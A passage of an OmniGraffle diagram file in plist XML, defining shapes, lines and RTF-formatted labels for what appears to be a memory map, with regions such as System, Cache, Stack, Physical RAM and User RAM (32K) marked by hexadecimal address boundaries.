<key>ID</key> <integer>23610</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 System}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{154.83333333333331, 211.99991035461426}, {93.333333333333371, 40}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23611</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 \ Cache}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{154.83333333333331, 312.00008894531493}, {93.333333333333371, 81}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23612</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 User}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{149, 188}, {104.99999999999999, 214}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23613</integer> <key>Magnets</key> <array> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>FillType</key> <integer>2</integer> <key>GradientAngle</key> <real>90</real> <key>GradientColor</key> <dict> <key>b</key> <string>0.78131</string> <key>g</key> <string>0.651832</string> <key>r</key> <string>0.627907</string> </dict> <key>MiddleFraction</key> <real>0.8171502947807312</real> </dict> <key>shadow</key> <dict> <key>Color</key> <dict> <key>a</key> <string>0.2</string> <key>b</key> <string>0</string> <key>g</key> <string>0</string> <key>r</key> <string>0</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 Physical RAM}</string> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> </array> <key>ID</key> <integer>23609</integer> </dict> <dict> <key>Bounds</key> <string>{{470, 179.00007772445679}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23573</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x81000000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 60.000108003616333}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23574</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0xC1000000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 75.749985933303833}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23575</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0xC0FFFFFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 33.749985933303833}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23576</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0xFFFFFFFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23577</integer> <key>Points</key> <array> <string>{539, 73.749969482421875}</string> <string>{470, 73.749984741210938}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23578</integer> <key>Points</key> <array> <string>{539, 31.749969482421875}</string> <string>{470, 31.749984741210938}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Bounds</key> <string>{{366.5, 165.50005912780762}, {20, 14}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>ID</key> <integer>23579</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 \'95 \'95 \'95}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{367, 46.499981880187988}, {20, 14}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>ID</key> <integer>23580</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 \'95 \'95 \'95}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>ID</key> <integer>23581</integer> <key>Points</key> <array> <string>{376, 333.25006103515625}</string> <string>{376, 351.25006144917256}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>FilledArrow</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Bounds</key> <string>{{305, 315.00004316894774}, {144, 18.250015258789062}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23582</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.940127</string> <key>g</key> <string>0.995805</string> <key>r</key> <string>1</string> </dict> </dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Color</key> <dict> <key>a</key> <string>0.32</string> <key>b</key> <string>0</string> <key>g</key> <string>0</string> <key>r</key> <string>0</string> </dict> <key>Fuzziness</key> <real>2.742051362991333</real> <key>ShadowVector</key> <string>{1, 1}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 Stack}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{366.5, 405.50002861022949}, {20, 14}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>ID</key> <integer>23583</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 \'95 \'95 \'95}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{366.5, 285.50004482269287}, {20, 14}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>ID</key> <integer>23584</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 \'95 \'95 \'95}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{301, 312.00004447265746}, {152, 81}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23585</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 \ \ User RAM (32K)}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{470, 394.00004696846008}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23586</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x0000FFFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 315.00006103515625}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23587</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x00017FFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 274.00007629394531}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23588</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x7FFFFFFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 195.00010800361633}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23589</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x80FFFFFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 153.00010800361633}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23590</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0xBFFFFFFF}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 419.00003051757812}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23591</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x00000000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 380.00004458427429}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23592</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x00010000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 299.00005984306335}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23593</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x00018000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 259.00004577636719}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23594</integer> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0x80000000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{470, 137.50009417533875}, {61, 13}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>YES</string> <key>Flow</key> <string>Resize</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23595</integer> 